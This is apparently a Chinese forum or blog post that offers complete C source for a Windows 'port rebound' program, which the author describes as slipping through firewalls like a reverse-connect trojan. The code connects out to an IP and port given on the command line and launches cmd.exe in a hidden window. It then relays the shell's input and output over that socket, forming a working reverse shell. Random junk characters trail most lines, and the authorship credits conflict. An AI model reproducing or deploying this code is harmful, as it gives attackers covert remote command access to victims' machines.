Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 {Z[kvXf"mZ  
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/* ============================== x/92],.Mz  
Rebound port in Windows NT ['0^gN$:e  
By wind,2006/7 -%t8a42  
===============================*/ b55G1w  
#include s|"4!{It  
#include %E2C4UbY  
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#pragma comment(lib,"wsock32.lib") @;d7#!:cE  
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void OutputShell(); h3A|nd>\  
SOCKET sClient; sZU Ao&  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2f-Or/v  
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void main(int argc,char **argv) G@S'_  
{ >[g'i+{  
WSADATA stWsaData; 5{8,+ Z  
int nRet; DRi/<  
SOCKADDR_IN stSaiClient,stSaiServer; fP1fm  
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if(argc != 3) O,KlZf_B  
{ . J*2J(T,  
printf("Useage:\n\rRebound DestIP DestPort\n"); OB~74}3;  
return; aeF^&F0  
} 2O9OEZdKB  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 2E3x=  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \R<OT%8  
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stSaiClient.sin_family = AF_INET; YcBAW4B`  
stSaiClient.sin_port = htons(0); iD9hqiX&  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); n 6|\  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) eM`"$xc Oe  
{ \(ZOt.3!J  
printf("Bind Socket Failed!\n"); r7p>`>_Q\  
return; sQe>LNp,G  
} "A9 c]  
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stSaiServer.sin_family = AF_INET; 6e;.}i  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); qT L@N9  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .{W)E  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Djf,#&j!3  
{ [VP~~*b  
printf("Connect Error!"); DavG=kvd  
return; = 8%+$vX  
} pc%_:>  
OutputShell(); 89)rss  
} ,Z I"+v  
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void OutputShell() SSF4P&  
{ 6y9#am?  
char szBuff[1024]; ;=6~,k)  
SECURITY_ATTRIBUTES stSecurityAttributes; &6L{1  
OSVERSIONINFO stOsversionInfo; A3N<;OOk  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; bmO[9 )G  
STARTUPINFO stStartupInfo; p`JD8c  
char *szShell; gI^*O@Q4{b  
PROCESS_INFORMATION stProcessInformation; =6TD3k6(2  
unsigned long lBytesRead; K_B-KK(^  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); S0Y$$r  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); eg-,;X#  
stSecurityAttributes.lpSecurityDescriptor = 0; pRj1b^F5y  
stSecurityAttributes.bInheritHandle = TRUE; amIG9:-1'  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); b^\u P  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Pz1pEyuL  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g Xvuv^  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s7<x~v+^  
stStartupInfo.wShowWindow = SW_HIDE; 8hi|F\$_h  
stStartupInfo.hStdInput = hReadPipe; *O|Z[>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :'!,L0I|t  
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GetVersionEx(&stOsversionInfo); 0t1WvW  
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switch(stOsversionInfo.dwPlatformId) wEo/H  
{ },'2j  
case 1: l=ZhHON  
szShell = "command.com"; fNc3&=]]  
break; q7C>A`w  
default: %9xz[Ng  
szShell = "cmd.exe"; jnX9] PkJ  
break; Be+vC=\K  
} <5A(rDij  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); eW]K~SPd7  
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send(sClient,szMsg,77,0); t7("geN]  
while(1) /z*?:*  
{ X6/k `J  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); g6k@E,cI_  
if(lBytesRead) jAmAT/1  
{ =usx' #rb  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1y l2i|m+  
send(sClient,szBuff,lBytesRead,0); ;-47d ^  
} T&I*8 R~  
else P7(+{d{  
{ ;$=`BI)  
lBytesRead=recv(sClient,szBuff,1024,0); RZ9vQ\X U)  
if(lBytesRead<=0) break; PBb@J'b  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); u<./ddC  
} l njaHol0  
} .OVIQxf  
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return; )R+@vh#Q<$  
}